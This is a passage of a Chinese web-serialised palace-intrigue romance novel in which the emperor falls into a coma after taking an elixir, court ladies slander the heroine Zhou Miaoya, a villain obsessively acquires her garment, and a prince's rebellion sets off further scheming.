孙女官继续说道:“陛下等了这一天,等了许久,你好不容易答应了,他自然是想…想更尽兴些。” 周妙雅的手指攥紧了衣襟,直攥得手背青筋暴起。 “陛下命人传话给虚云子,要了一颗药力最猛的丹药,虚云子便送了一颗过来。陛下在往寝殿与你相会的路上,将它服了下去。” “结果,人还没到寝殿,就突然吐血,倒了下去,太医院忙了一夜,陛下到现在还没醒过来。” 周妙雅听闻这些,脑海中霎时一片空白,等她回过味儿来,只觉得头皮发麻,想想都觉得后怕。 丹药… 还是药力最猛的那种… 她简直不敢想象,如果泰和帝没有突发急症倒下,等待自己的将是什么。 那个高高在上的帝王,自以为可玩弄这世间一切,未曾想,竟被一颗丹药放倒。 她那一夜的恐惧,差一点便跌进万劫不复的深渊,竟是这样靠着一颗丹药逃过一劫。 “那虚云子呢?他现在身在何处?”周妙雅急切地追问着。 孙女官摇了摇头: “虚云子当即被抓了,被关进了诏狱,当天夜里就被人灭了口,现在已死无对证。” 这个曾经风光无限的北狄奸细,就这么被人灭了口?看来定是他背后之人动了手。 是魏琰?还是李太妃? 到底是谁策划了这整一场大戏,甚至将她也算计在内?他们的最终目的,是要让皇帝彻底倒下? 皇帝没有子嗣,若是他再也醒不过来… 这将会是一场彻头彻尾的窃国阴谋。 周妙雅当即死死握住孙女官的手,附耳在她耳边悄声说了句什么。 孙女官听闻,面色霎时大变,只见她急急起身,对周妙雅道:“妙雅,你且先在此好生歇息,你说的事,我这就去禀报皇后娘娘。” ———— 皇帝突然一病不起,着实将魏琰打了一个措手不及。 他千算万算,没算到皇帝命里有丹药这一劫。 且不说如今京城与辽东之间的通信全然断了,张文龙早已成为辽东地头蛇的事,京城无人知晓。 朱弘毅回了广宁城后,便使了一计,令辽东如常往司礼监递折子,假作李道远与高第未死,一切如常的假象。 如今宫里乱作一团,魏琰自也无心再管什么辽东军事,只回复说让李道远与高第自行斟酌行事。 皇帝昏迷了数日,太医院使劲浑身解数,皇帝的病情仍不见好转。 魏琰着急得如同热锅上的蚂蚁,当下最要紧的事,是皇帝没有子嗣,如若皇帝真的醒不来了,那谁人来做这个继承人? 西苑,太妃宫。 烛火摇曳,映得满室昏黄。 李太妃坐在一个男人的怀里,一手拽着男人衣领,另一只手攀上了男人肩头。 她在男人怀里娇嗔地扭了扭,柔柔唤了一声:“康郎。” 康敏之被她撩拨的,老房子着火,心都要化了。 李太妃倚在康敏之怀里,指尖绕着他胸前衣襟,一圈一圈地缠着。 “康郎…” 李太妃开口,声音柔柔的,带着几分慵懒:“你听说了吗?魏琰那边,正忙着给陛下找继承人呢。” 康敏之将手指按在她唇上,笑道:“这话可不能乱说,陛下还没殡天呢。” 李太妃可不管这些,只自顾自地说着:“听说魏琰在宫里翻了个遍,想找一出个怀孕的宫女,等陛下归天的时候,就谎称那宫女怀的是龙种,生下来就是皇子,如此这般,他魏琰便可继续辅政,把持朝局,继续当他的九千岁。” 康敏之皱了皱眉,讥讽地笑道:“倒是打得一手好算盘。” 李太妃也笑了笑,那笑容里亦是带着几分嘲讽。 “可惜啊…” 她继而叹道:“这宫里哪有怀孕的宫女?就算有,生下来是男是女还不知道,他魏琰想得未免太美了些。” 康敏之没有说话,只是含情脉脉地看着她。 李太妃抬起头,正对上了他的目光。 “我还听说…” 她的手又往康敏之肩头攀了攀,继而说道:“魏琰另外也在打算,在宫外找一个心腹之子,过继给陛下,硬说是远亲血脉,反正陛下昏迷着,谁能反驳?” 康敏之的眉头复又皱了起来。 “过继?” “对。” 李太妃笃定道:“随便找个孩子,塞进宗族谱里,就说陛下的远房侄子,过继过来继承皇位,他魏琰还能继续当他那位高权重的九千岁。” 康敏之沉默了片刻,不屑道:“哼,魏琰那老阉想得倒是挺周全。” 李太妃笑了笑,从他怀里爬了起来,正对着他。 她目光灼灼地看着他,柔声似水道:“康郎,既然魏琰那老贼想找人过继,我们为何不把我们的孩子送过去?” 康敏之霎时愣住:“你说什么?” 李太妃伸出手,轻轻抚上他的脸。 只听她一字一句,郑重地说道:“我们的儿子,让柳氏抚养了这么多年的那个孩子,将他过继给陛下,继承皇位。” 康敏之可没敢接话。 李太妃看着他,眼眶渐渐红了。 “康郎…” 她的声音有些发颤:“这么多年了…这么多年了,他都不能叫我一声娘,每次见了他,我只能远远看着,连走近都不敢。” 她握住康敏之的手,握得紧紧的: “他在你那妾室柳氏跟前长大,叫柳氏娘亲,可他是我们的儿子,他身上流的是你和我的血,不是你和柳氏的!” 康敏之低下头,看着她的手,那双纤纤玉手此刻正在微微颤抖。 “康郎,这是我们的机会,把他送进去,过继给陛下,他就是皇子,就是太子,就是未来的皇帝,到时候,他想叫我娘,就再也没有人敢拦着了!”—— 作者有话说:李太妃这是设了个局中局,我只能说好戏还在后头 第129章 自泰和帝一病不起, 太医院进进出出,消息封不住,整个后宫人心惶惶。 御花园的凉亭中, 几个嫔妃呆呆地坐着, 面前摆着茶果点心, 却无人有心思动。 吴美人拿帕子按着眼角,哭得梨花带雨。 “陛下…陛下身子向来康健,怎的说吐血便吐血了?” 她边哽咽着说话,边抽抽噎噎的:“这里头定有蹊跷!” 范选侍听罢这话,吓了一跳,忙伸手捂住吴美人的嘴。 “妹妹!” 她左顾右盼,见没外人, 才压低声音道:“这话可乱说不得!小心隔墙有耳,若被魏公公听了去, 仔细拔了你的舌头!” 吴美人挣开她的手, 唇瓣微张,还要再说些什么,却被身旁的妃嫔拽了拽袖子。 亭子的另一侧, 安和郡主端坐于石凳之上,手里捧一个青瓷盏, 正慢条斯理地吹着盏中茶叶的浮沫。 闻得此言,她唇角微扬, 将茶盏轻轻搁到了石桌上。 “哟!” 她开口,声音不高, 却清清楚楚地落到在场每一个妃嫔的耳中:“各位娘娘们也别瞎猜了,说到底么…” 她顿了顿,眼尾微微一挑, 唇角勾起了一抹笑:“还是得赖尚宫局的那位周女官。” 众妃嫔俱是一怔,目光齐刷刷地投向她。 只见安和郡主慢悠悠道:“这周女官啊,平日里瞧着清高,描画写字,装得一副才女模样,心里头不知怎样渴慕那泼天的富贵呢。只可惜啊…人算不如天算,此女命格不济,原是个不祥之人。不然怎么陛下好端端的,偏她去爬了龙床,陛下就倒下了?” 那吴美人也不哭了,瞪大了眼睛: “郡主是说…” 安和郡主没接话,只将茶盏端起,又慢条斯理地抿了一口。 凉亭中,几个妃嫔对视了一眼,全都凑到了安和郡主的身边。 一个穿鹅黄色比甲的妃嫔压低了声音:“我听说那女官可有手段了,几个老嬷嬷亲自伺候着,用花瓣香露沐浴了一遍又一遍,那身子擦得…” 她话音一顿,意味不明地笑了笑:“呵,隔着老远都能闻到一股子媚香。” 另一个妃嫔啧啧了两声,凑得更近了些:“不止呢,我听宫里的小宫女说,沐浴完了,只给裹了层薄如蝉翼的鲛纱,里头空空荡荡,曲线毕露…就那么抬上龙床去了。” “鲛纱?” 吴美人惊得捂住嘴:“那不是…那不是什么都遮不住?” “遮什么?” 那妃嫔撇了撇嘴:“就是要什么都遮不住,不然怎么叫伺候陛下?” 安和郡主听着,唇角那抹笑意越来越深。 又一个妃嫔开口,语气里带着几分轻蔑:“听说那女官从前是勾栏瓦舍出身的?” “真的假的?”吴美人睁圆了眼,面上一副不可置信的表情。 “怎么不真?” 那妃嫔咂了咂嘴:“不然能这副做派?主动爬床,不知廉耻,真是闻所未闻!” 安和郡主笑了笑,搁下手中茶盏。 “各位娘娘有所不知…” 她嗓音柔柔的:“那周女官从前在宫外时,便不是什么安分的主儿。文状元与康首辅家千金的新婚之夜,她不也是披着层薄纱,就去勾引文状元?如今想来,可是惯犯了。后来不知使了什么手段,攀上高枝进了宫,才有了今日。” 随即,她叹了口气,假意惋惜道:“可惜啊,命里带煞,谁沾上谁倒霉。这不,陛下刚传了她侍寝,人就倒下了。” 吴美人捂着心口,一脸后怕:“这么说,竟是那狐媚子克了陛下?” “不然呢?” 安和郡主看了看她:“好端端的一个人,怎么说吐血就吐血了?这里头,总得有个说法吧。” 几个妃嫔对视了一眼,都点了点头。 “怪不得。” 那个位穿鹅黄色比甲的妃嫔后知后觉道:“我就说嘛,陛下身子骨向来硬朗,怎的突然就…” “可不是么!” 另一个妃嫔接过话头:“那女官我见过,那脸…生就一副狐媚子相,一看就不是个安分的主儿。” 又一个妃嫔压低声道:“听说她在宫外时便勾三搭四的,不知使了什么手段攀上了宁王府,这才得以进了宫。” 吴美人惊诧道:“宁王?那不是陛下的亲弟弟?” “可不是么!” 那妃嫔撇撇嘴:“攀完了弟弟又攀哥哥,这手段,啧啧…宫中姐妹谁能比得过?” 几人越说越起劲,越说越不堪。 什么勾栏出身,什么狐媚做派,什么命里带煞,一句赶着一句,愈发难听。 就在众人说得正欢的时候,只听得一道冰冷的声音自她们背后传来:“说够了没有?” 亭中那几个嫔妃听到这声音,身子俱是一僵。 那声音虽不高,却冷得像寒冬腊月里淬了冰的刀子,戳得人脊背发凉。 她们僵在原地,竟是不敢回头去看。 安和郡主手中的茶盏顿了顿,唇边的笑意凝了一瞬。 只见她缓缓搁下茶盏,转过头去。 皇后顾云舒站在亭子外面,身后跟着几个宫女,脸上没有任何表情。 她那双眼睛,冷得骇人。 几个嫔妃这才反应过来,互相拉拉扯扯,慌忙起身,跪了一地。 “皇后娘娘万安…” 顾云舒没有说话,她只是站在那儿,面上自带久居上位者的威严。 她的目光从她们脸上一一扫过。 吴美人浑身都在颤,范选侍低着头,大气儿也不敢出。 安和郡主跪在那儿,垂着眼,唇边还挂着一丝没来得及敛去的笑意。 顾云舒看了众人片刻,忽然开口唤道:“如意。” 如意应声上前。 顾云舒没说话,只冲如意微微颔了颔首。 如意立刻会意,只见她一个箭步冲上前去,扬起手—— 啪! 一记耳光,结结实实地打在安和郡主的脸上。 那巴掌声清脆响亮,在亭子里回荡,把几个嫔妃吓得直接瘫坐在地。 安和郡主被打得偏过头去,细嫩的脸蛋儿上瞬间浮起了五道红印。 她捂着脸,不可置信地看向顾 云舒。 “你…” “本宫让你开口了么?”顾云舒截断她,声音不高,却带着一股令人不敢违逆的威压。 安和郡主张了张嘴,欲要辩驳,却一个字也说不出来。 顾云舒往前走了一步,立于亭中,居高临下地看着跪了一地的嫔妃。 “陛下都什么样了?宫中如今是个什么情形?你们还有心思在此嚼舌根,传流言?” 一众嫔妃低头跪着,身子瑟瑟发抖,无人敢应声。 顾云舒的目光从她们的脸上一一扫过,最终又落在了安和郡主的身上。 “本宫今日把话撂在这儿,若今后再让本宫听见一句诋毁周司典的话,本宫即刻以宫规处置,杖责五十大板!” 说罢,她扫了一眼那几个嫔妃,唇角勾起了一抹冷笑:“本宫倒是要瞧瞧,谁的骨头这般硬,受得住这五十大板!” ———— 安和郡主回府时,脸色难看的吓人。 只见她气冲冲地从轿子里下来,一把推开了迎上来的丫鬟,大步往正厅走去,裙摆扫过门槛,带起一阵疾风。 正厅里,文毓瑜与文毓瑾正坐在榻上对弈。 棋盘上黑白交错,二人各执一子,看得入神。 旁侧侍立着一个年轻女子,手里执着茶壶,正小心翼翼地给二人添茶。 那女子生得一副姣好的相貌,眉眼弯弯,鼻梁挺秀,尤其是那双眼睛,水汪汪的,带着几分怯生生的味道。 正是那个与周妙雅有七分相似的扬州瘦马。 安和郡主一只脚踏进正厅的时候,刚好撞见了这一幕。 那女子正弯着腰,将茶盏轻轻放在文毓瑜的手边,她侧着脸,露出半截白皙的颈子,唇角含着一点温顺的笑。 安和郡主的脸霎时便沉了下去。 她今日在宫里受了一肚子的气,皇后打的那一巴掌还火辣辣地疼着。 她憋了一路,正等着回来发作。 结果一进门,便撞见这个。 这两个都曾与那贱人不清不楚的男人,正心安理得地享受着一个与那贱人七分相似的贱人温存伺候。 真是…不要脸! 他们文家,是想恶心谁? 当初这瘦马大着肚子从扬州闹上京城,安和郡主虽被当场气晕,可她心气儿高傲,怎肯轻易让一个扬州瘦马进门? 可她的父王却劝她,男人哪个不是三妻四妾?既然怀了郡马的孩子,便让她进门做个贱妾罢了。 她只得忍气吞声,让这贱人进了门。 如今这瘦马孩子已经生了,她正愁没个由头发落出去。 想到这里,安和郡主的火气腾地一下就上来了。 “好啊!” 安和郡主站在门口,嗓音尖得刺耳:“本郡主出门一趟,你们倒是在这儿享起清福了!” 文毓瑜执棋子的手霎时便停住了,他抬眼见她脸色,心里咯噔一下。 天天睡在一张床上,他可太了解自己这位母老虎妻子了,这副神情,这般语气,这是要发疯的前兆。 他当即搁下手中棋子,站起身,朝那扬州瘦马使了个眼色:“下去。” 那扬州瘦马有点不情不愿,娇嗔地扭了下身子,又看向文毓瑾。 文毓瑾闭着眼睛,冲她点了点头。 “让你下去!”文毓瑜已经没有了耐心。 那瘦马被吼得愣了一下,才悻悻地退了下去。 见她走了,文毓瑜忙审时度势,脸上堆起笑,陪着笑脸走到安和郡主身边,伸手去扶她的胳膊:“郡主回来了…今日进宫可是有什么事?脸色怎么这么不好?” 安和郡主一把甩开了他的手。 “少在这儿装好人!” 她气冲冲地往里走,行至棋盘旁,抬手便将满盘棋子扫落在地。 只听得黑白棋子噼里啪啦一阵响,随即滚落一地。 文毓瑜跟在她身后,脸上的笑僵了僵,又立马堆了起来。 “郡主息怒,郡主息怒。” 他小步追着:“有什么话慢慢说,别气坏了身子。” “慢慢说?” 安和郡主转过身,瞪着他:“你可知道我今儿在宫里受了何等的气?” 文毓瑜赔着笑:“郡主您说,小的听着。” 安和郡主深吸了一口气,正欲开口,余光瞥见旁边还坐着一个人。 文毓瑾端坐于榻上,手里还捏着一枚棋子,一动不动,像是什么都未曾瞧见。 安和郡主冷笑了一声:“哟,大伯哥也在啊。” 她语气阴阳怪气的:“正好,那你也一并听听,你那好妹妹在宫里又干了什么好事!” 文毓瑾的指尖微微动了动,却未言语,也未抬头。 安和郡主也不管他,只自顾自地说起来,语气里的恨意几乎要溢了出来:“今日在后花园,我好心陪着那几个嫔妃说话,谁知那个周妙雅…那个狐狸精,明明是她自己爬的龙床,脱光了在乾清宫勾引陛下,结果皇后冲出来,当着那么多人的面,给了我一巴掌!” 说罢,她委屈巴巴地向文毓瑜指了指自己的脸:“夫君!你瞧瞧!我这脸现在还红着呢!” 文毓瑜凑过去瞧了瞧,嘴里啧啧有声:“这这这…这也太不像话了!郡主您受委屈了!” 安和郡主一把推开他,吼道:“少在这儿假惺惺的!那个周妙雅,就是个扫把星!克了陛下不说,还让皇后护着她!她凭什么?就凭她那张脸?就凭她那副身子?” 她越说越激愤,行至桌边,随手抓起一个花瓶,狠狠往地上摔去。 啪! 瓷片四溅。 “她在乾清宫干的好事,整个后宫都传遍了!” 安和郡主的声音尖得能刺穿耳膜:“几个老嬷嬷伺候着,用花瓣香露沐浴了一遍又一遍,那身子擦得,隔着老远都能闻着一股子媚香!” “沐浴完了,只给裹了层薄如蝉翼的鲛纱!里头空空荡荡,曲线毕露,就那么被抬上龙床去了!” 文毓瑜站在旁边,一句话也不敢接。 安和郡主还在说:“什么勾栏做派!什么不知廉耻!她就是个祸害!克了陛下,克了宁王,谁沾上她谁倒霉!” 说罢,她又砸了一个花瓶。 一连砸了好几个花瓶,似是砸累了,安和郡主喘着粗气,转过身,瞪向文毓瑜: “你们男人是不是都这样?瞧见她那张脸,瞧见她那副身子,就走不动道了?” 文毓瑜连连摆手:“不不不,郡主您误会了,我对她可没什么…” 安和郡主根本不听他说话,转过身去又是一顿砸。 说者无心,听者有意。 旁边的文毓瑾,虽始终坐于榻上,一动未动。 可他手里的那枚棋子,已经被他攥得发烫。 薄如蝉翼的鲛纱。 曲线毕露。 抬上龙床。 这些词一个一个钻进他耳朵里,像无数只蚂蚁,在他的心口爬来爬去。 虽然被宁王踩坏了那里,已没有了那功能。 但听到这些,小腹莫名其妙还是腾起了一股抑制不住的燥热。 他想起很多年前,那个被他堵在书房里,按在厢房床上的少女。 她衣衫单薄,眼里全是惊惧,他强迫她,她往后躲,他伸手掐住她的脖颈,她浑身都在发颤。 她那副娇柔的,一碰就能掐出水的身子,本来应该是他的。 她本来应该是他一个人占有的。 可那个高高在上的帝王,仗着自己是九五之尊,竟然玷污了本该属于他的东西! 她躺在床上,裹着薄纱,等的人应该是他!而不是那个帝王! 当年他未能得手的东西,如今竟以那般姿态承帝王的恩宠! 想到这里,他猛地睁开眼,将手中那枚棋子掷回了棋盒。 而后,他站起身,拂了拂道袍上的褶皱: “我先回了。” 文毓瑜愣了一下:“大哥,这…” 文毓瑾没理他,只大步向外走去—— 作者有话说:文毓瑾这个边太!!!他又要干什么????? 第130章 回到文府后, 文毓瑾将自己关进了书房。 书房的门关上的那一刻,他靠着门板,闭上眼, 深深地吸了一口气。 可那口气吸进去后, 吐出来的, 仍是乱的。 他在书房里呆呆站了很久,一动不动,就那么站着。 烛火在书案上跳动,将他的影子拉得很长,投在墙上,一颤一颤的。 他闭上眼睛,脑海中全是安和郡主刚刚提到的, 关于周妙雅侍寝的香/艳画面。 再睁开眼,他已不受控制地在书房开始来回踱步。 步子越来越快, 也越来越乱… 那女人本该是他的。 是他先看中的。 是他从小就看着长大的。 是他把她养在文府, 养在眼皮子底下,等着她及笄,等着她长成, 等着她成为他的笼中雀。 可她现在却躺在龙床上,裹着一层什么都遮不住的纱衣, 等着皇帝来承欢。 她等的人,竟不是他! 想到这里, 文毓瑾猛地停下脚步,一拳砸在了书案上。 只听砰的一声, 烛台跳了起来,差点翻倒,他伸手扶住, 手却在抖。 皇帝…皇帝他怎么敢?! 那是他文毓瑾的人!是他的东西!是他从小看着长大,等着收入私囊的珍藏! 皇帝凭什么?!就凭他是天子?就凭他坐在那张龙椅上? 文毓瑾喘着粗气,在书案边站了许久。 而后,他慢慢地坐了下来,双眼盯着那盏烛火,一动不动。 脑海里又开始浮现出安和郡主所描述的那画面。 他闭上眼,那些画面在脑海里却更清晰了。 他看见她躺在那里,裹着那层薄纱,等着他来。 她脸上带着泪,身上软软的,一动不敢动,娇弱地唤他:大哥哥… 他猛地睁开眼,呼吸又粗重了几分。 那是他的人,是他先看中的,是他等了这么多年的。 就算他得不到,也不能让别人得到! 脑海中愈发浓烈的占有欲已经要将他整个人撕碎。 他猛地站起身,又开始来回踱起步来。 这一次,他的步子逐渐放慢了下来,似是在想着什么。 忽然,只见他停下脚步,眼中闪过了一丝精光。 他快步走到门口,将书房的门拉开,将侍奉在外的一个心腹叫了进来。 他压低声音,吩咐那心腹道:“想办法…不管用什么法子,不管花多少钱…把周妙雅穿过的那件纱衣,给我从宫里弄出来。” 心腹低下头,应了一声:“是,大爷。” 宫里正值多事之秋。 皇帝昏迷不醒,太医院进进出出,魏琰忙着寻继承人,皇后忙着镇场子,各宫各局的人心都散了,规矩自然也就松了。 内廷负责处理废旧物品的小太监,本来是要将那件纱衣处理掉的,不过因为这几日有别的更要紧的事情,便把这个差事耽搁了。 直到有人辗转找到他,出价一千两,想要这件东西。 那小太监当即吓的嘴都合不拢了。 一千两银子啊,足够他干一辈子苦差的了。 他想也没想,当即便答应了。 几经辗转,那纱衣终于被送到了文府。 书房里,文毓瑾屏退了所有下人,像得到了神圣的圣物一般,颤抖着手,轻轻解开了那装着纱衣的布包。 烛火摇曳,映照着他扭曲的面容。 布包里的纱衣就这么陡然暴露在了他的眼前,薄薄透透的,在烛光下泛着幽幽的光泽。 文毓瑾的呼吸骤然变得愈发粗重了。 那纱衣款式大胆,几近淫/靡,与他记忆中周妙雅清冷素雅的形象形成了极其刺眼的对比。 就是这东西当夜包裹了她… 他猛地抓起那件纱衣,将它死死攥在手心里,慢慢凑近鼻尖。 他闭上眼,对着那纱衣猛吸了一口气。 那纱衣上,还残留着她那日涂满全身香露的味道,还有…她的体温… 再睁开眼,他的眼中已经盈满了欲/望之火,盈满了对周妙雅赤/裸/裸的,病/态的欲望和占有。 他慢条斯理地把纱衣贴在了脸上。 脑海里不受控制地浮现出周妙雅的面容。 不是平日里那清冷倔强的模样… 不是拒绝他时那种疏离的眼神… 不是害怕他时那种瑟缩的颤抖… 而是带着屈/辱的泪光,被迫穿上这身纱衣,却正柔顺地,楚楚可怜地走向他… 走向文毓瑾。 ———— 泰和帝始终昏迷不醒。 太医院的人进进出出,药方换了一个又一个,皇帝的脉象仍是时强时弱,人就是不醒。 后宫人心惶惶,前朝也好不到哪儿去。 魏琰忙着在宫里宫外寻继承人,康敏之则不动声色地观望,李太妃在西苑闭门不出,实则是各怀心思。 然而谁都没想到… 宣府的八百里加急战报,在一个夕阳似血的傍晚送进了京城。 “代王反了!代王反了!” 魏琰接到战报时,正在司礼监与几个太监商议立嗣之事。 只听他手里的茶盏“啪”的一声落在地上,瞬间被摔得粉碎。 “你说什么?!” 那报信的军校跪在地上,头都不敢抬:“代王…代王自宣府起兵,打着清君侧的旗号,说是要铲除陛下身边的奸佞,几日内已连破数城,正往京城方向来!” 魏琰的脸色刹那间就变了色。 “奸佞?” 只听得他喃喃自语了一句,忽然大笑了起来。 那笑声尖利刺耳,在殿内回荡:“他说的是咱家吧?他说咱家是那个奸佞?” 几个太监立马跪了一地,大气都不敢出,谁人敢回答? 魏琰在殿内来回走了几步,忽然收住脚,脸色阴沉得骇人。 “他怎么会起兵?” 他像是自言自语,又像是在问谁:“他不是在京城老老实实待着吗?他不是求咱家让他举家迁回京城,受不了边关之苦吗?他怎么会有兵?他何时去的宣府?” 屋内无人敢应答。 魏琰忽然转过身,盯着那军校,吼道:“他哪来的兵?” 军校低着头,也不敢高声说话,只得如实禀报:“代…代王在西北边关多年,与边军旧部素有来往,此次起兵,那些旧部都跟着反了。” 魏琰彻底愣住了。 边军旧部。 他想起当年,是李太妃给他出谋划策,让代王举家迁回京城,他们以为将代王弄回京城,放在眼皮子底下看着,便能断了他的根基。 可他没想到,李太妃的人根本就没看住他。 是故意没看住,还是根本就没想看住? 那个在西北手握重兵的代王,回了京城也没闲着,他与那些旧部,一直就没断过联系。 魏琰的脸色越来越难看,只见他忽然起身,大步往外走去。 “去西苑!”他边走边吼。 西苑,太妃宫。 李太妃正倚在榻上,手里捧着一卷书,正悠悠闲闲地翻看着。 忽然听见外头一阵急促的脚步声,她抬起头,蹙起了眉。 只听呼啦一声,门被粗暴地推开了。 魏琰站在门口,脸色铁青,眼瞪得像是要吃人的野兽。 李太妃放下书,慢慢坐起身。 “魏公公?” 她开口,嗓音仍是柔柔糯糯的:“这是怎么了?这么大的火气?” 魏琰箭步走到她面前,目光灼灼地盯着她看。 “怎么了?装傻?” 他咬着牙,一字一字地往外蹦:“代王反了!从宣府起兵反了!” 李太妃似是愣了一下,一脸惊诧: “反了?他什么时候去的宣府?” 魏琰看她装傻充愣,一瞬间火气更盛,恨不能掐住李太妃的脖子,让她吐出真话。 他往前逼近了一步,阴影将李太妃完全罩住:“太妃娘娘当真不知?当年是您与咱家一同谋划的,如今代王反了,娘娘还想独善其身?” “当初是你让咱家收受代王贿赂,让代王举家迁回京城的!” 魏琰的嗓音越来越高: “你说代王在西北手握重兵,于咱家大业不利,不如让他回京,变相圈禁监视着,可如今呢?” 说罢,他又猛地往前逼了一步。 “一个没看住!便让他钻了空子!打乱了咱家所有的计划!” 李太妃坐在榻上,被他逼得往后退了退,面上仍是那副波澜不惊的神情。 “魏公公!” 她开口,声音异常平静:“那本宫也不知代王与宣府旧部暗通款曲啊,本宫更不知道,那代王是何时离开京城,去的宣府。” 魏琰死死盯着她,眼底的火几乎快要烧出来。 李太妃却迎着他的目光,根本没有躲。 她平静地开口:“为今之计,是赶紧整顿京畿防务,由魏公公您亲自坐镇,主持大局,万不能让代王得逞啊!” 魏琰没有说话,他站在那儿,盯着李太妃,胸膛剧烈地起伏着。 李太妃也不急,只是静静地看着他,等着。 过了好一会儿,之间魏琰深深吸了一口气,又缓缓吐出。 “京城的军队?” 他冷笑了一声:“那些少爷兵,几年没打过仗了,平日里疏于操练,能顶什么用?” 李太妃看着他,目光平静:“顶不顶用,也得顶,不然等着代王打进来,你我是什么下场,魏公公心里清楚。” 魏琰瞬间沉默了。 他知道李太妃说得对,代王打着清君侧的旗号,要清除的就是他这样的奸佞。 等代王打进来,第一个死的就是他。 只见李太妃缓缓起身,附在魏琰耳边,低声道:“魏公公,那代王虽已于宣府起兵,可他那独女安和郡主,如今还在京城,尚不知情啊。魏公公还不趁此机会,将安和郡主与郡马抓起来做人质,若是代王真打到京城,便将此二人押上城门楼,也好叫代王投鼠忌器,立刻撤兵!” 魏琰看了看她,突然笑道:“太妃娘娘好手段,太妃娘娘说的是啊!” 他心中似打定主意,即刻起身向殿外走去,吩咐道:“来人啊!将安和郡主府,给咱家围起来!” 说罢,他便大步往外走去。 魏琰走后,殿内瞬间静了下来。 李太妃坐在榻上,看着那扇门,过了好一会儿,才慢慢靠回引枕上。 只见她闭上眼,执起手中团扇,轻轻扇了两下,唇角浮起一丝若有若无的笑。 “哼,你们都不过是本宫棋盘上的一枚棋子罢了。”《 》 130-140 第131章 魏琰此刻已如同热锅上的蚂蚁。 代王造反, 将他的计划已全部打乱。 他原想着趁皇帝昏迷,寻个继承人,把朝局牢牢攥在手里。 可如今呢?代王的兵马正往京城来, 那些边军旧部跟着反了, 宣府一路的城池接连失守, 八百里加急的战报一封接着一封。 他在司礼监坐不住,在乾清宫也坐不住,出来走走,想透口气。 可这口气,越透越堵。 李太妃那个女人,惯会装傻充愣,把自己摘得干干净净的。 他质问她时, 她一脸无辜地说:本宫也不知,可她那眼神, 那语气, 分明就是在看戏,她以为他瞧不出来? 魏琰越想越气,脚步越走越快。 行至假山后, 他忽然听见长廊那头有人在说话。 是几个嫔妃在那三言两语议论的声音,她们将说话声压得极低, 但还是能断断续续地飘到假山后头,魏琰在那里刚好能听得真切。 “…就是那个周女官, 她爬了龙床,陛下就病倒了, 真是不祥之人啊…” “可不是么!结果皇后还护着她,也不知道她给皇后灌了什么迷魂汤…” “听说她又回坤宁宫了,官复原职, 跟没事人一样…” “凭什么啊?她把陛下害成这样,她就没事了?凭什么啊?” 听到这些话,魏琰霎时便停下了脚步。 他站在假山后面,眼底的阴鸷越来越浓。 周妙雅。 对啊,还有她。 他心中憋的那团火,正愁没处撒。 要不是这个狐媚女人,陛下能吃那颗丹药?能吐血晕倒?能至今昏迷不醒? 她倒好,没事人一样,不仅回了坤宁宫,还官复原职了。 对啊,凭什么? 魏琰冷笑了一声。 只见他转过身,大步往坤宁宫的方向走去,身后跟着的几个太监小跑着跟上,不敢问,也不敢怠慢。 坤宁宫内。 周妙雅正坐在自己的那间小屋里。 这几日她几乎没出过门,只是偶尔去司药司看看韩司药的伤势,韩司药还在卧床,人瘦了一圈,但好歹是活下来了。 就在她正对镜梳妆的时候,门忽然被人敲响。 她起身去开门,发现门外站着的是如意,脸色有些不对。 只见如意压低声音对她说道:“周司典,魏公公亲自带人来了坤宁宫,此刻正在前殿大闹,皇后娘娘让奴婢过来传话,说让你就待在屋里,无论前殿闹成什么样,她没有传唤,你千万别出来。” 周妙雅的心当即就沉了下去。 如意传完话便走了,周妙雅呆立在门口,看着如意的背影消失在长廊尽头,慢慢阖上了门。 坤宁宫前殿,此刻确是吵得热火朝天。 魏琰带着一群人,大摇大摆地就闯了进来,门口的宫女想拦,被他身边的小太监粗暴地一把推开。 顾云舒正倚在暖榻上,听见动静,睁开眼,坐起身来。 她看着魏琰,目光冷如寒刃。 “魏公公。” 她开口,声音不高,却带着不容置疑的威压:“你这是何意?坤宁宫是你说闯便闯的?” 魏琰站在大殿中央,面上带着笑,那笑容却让人看了直发冷。 “皇后娘娘息怒,咱家可不是来闯宫的,咱家是来请皇后娘娘给六宫做个表率的。” 顾云舒没好气儿地看着他,没有接话。 只见魏琰往前迈了一步,恭谨说道:“皇后娘娘前几日在御花园里当众发话,说谁再敢嚼周司典的舌根,便以宫规处置,杖责五十大板。娘娘身为六宫表率,这话说得极好,咱家是佩服的五体投地。” 见顾云舒没搭理他,魏琰的声音故意拔高了几分:“可娘娘既然要别人遵守宫规,那娘娘自己,是不是也应该站出来做个表率?” 顾云舒看着他,目光越发冷了:“魏公公这是何意?” 魏琰笑了笑,那笑容里带着几分阴狠:“咱家是何意?咱家就是路过,想着来问候问候皇后娘娘,那尚宫局司记司的周司典,犯了欺君之罪,娘娘打算如何处置?” 顾云舒的指尖在广袖中不自觉地微微攥紧了起来。 魏琰尚不等她答话,自顾自地继续说了下去:“这其一,周司典谎称毁容,实则是使用了宫廷禁药鬼面草,她欺瞒陛下,此乃欺君之罪,其罪当斩。可陛下仁慈,没要她性命,那是陛下宽厚,但这罪,不能就这么算了。” “这其二,是她不知廉耻,竟主动爬龙床,勾引陛下,致使陛下服用丹药,突发急症,至今昏迷不醒。这等祸乱宫闱之人,娘娘不但不罚,竟还让她官复原职,安安稳稳待在坤宁宫…” 他说罢这话,往前逼近了一步,双眼死死盯着顾云舒。 “敢问皇后娘娘,您如此包庇下属,又是如何做的这六宫表率?” 顾云舒坐在榻上,没有说话。 她静静地看着魏琰表演,但广袖下攥着念珠的手,因用力而青筋尽显。 她知道魏琰在干什么。 他在用她自己说过的话,来将她的军。 那日在御花园,她当着那么多嫔妃的面,立下规矩,说谁再嚼舌根,便以宫规处置。 如今魏琰拿这个来堵她,她如果护着周妙雅,那些嫔妃会怎么说?整个后宫会怎么说? 她可以不在乎那些嫔妃,但不能不在乎六宫表率这四个字。她是皇后,是后宫之主,她立下的规矩,她自己不能不遵守。 可周妙雅… 她有什么错? 她毁容是为了自保,她答应侍寝是为了救韩司药,她被抬上龙床,是被逼的,并不是自愿的。 即便她心里明白周妙雅是无辜的,又有何用? 她不能明着面打皇帝的脸, 更不能将已九死一生的韩司药再牵连进去。 顾云舒沉默良久。 魏琰也不急,就站在那儿,看着她,嘴角噙着笑。 终于,顾云舒开口了:“周司典确有失当之处,本宫的人,本宫自会处置,轮不到魏公公费心。” 魏琰笑了笑,并没有抬腿要走的意思:“那咱家便就在这等着,看皇后娘娘如何处置周司典。” 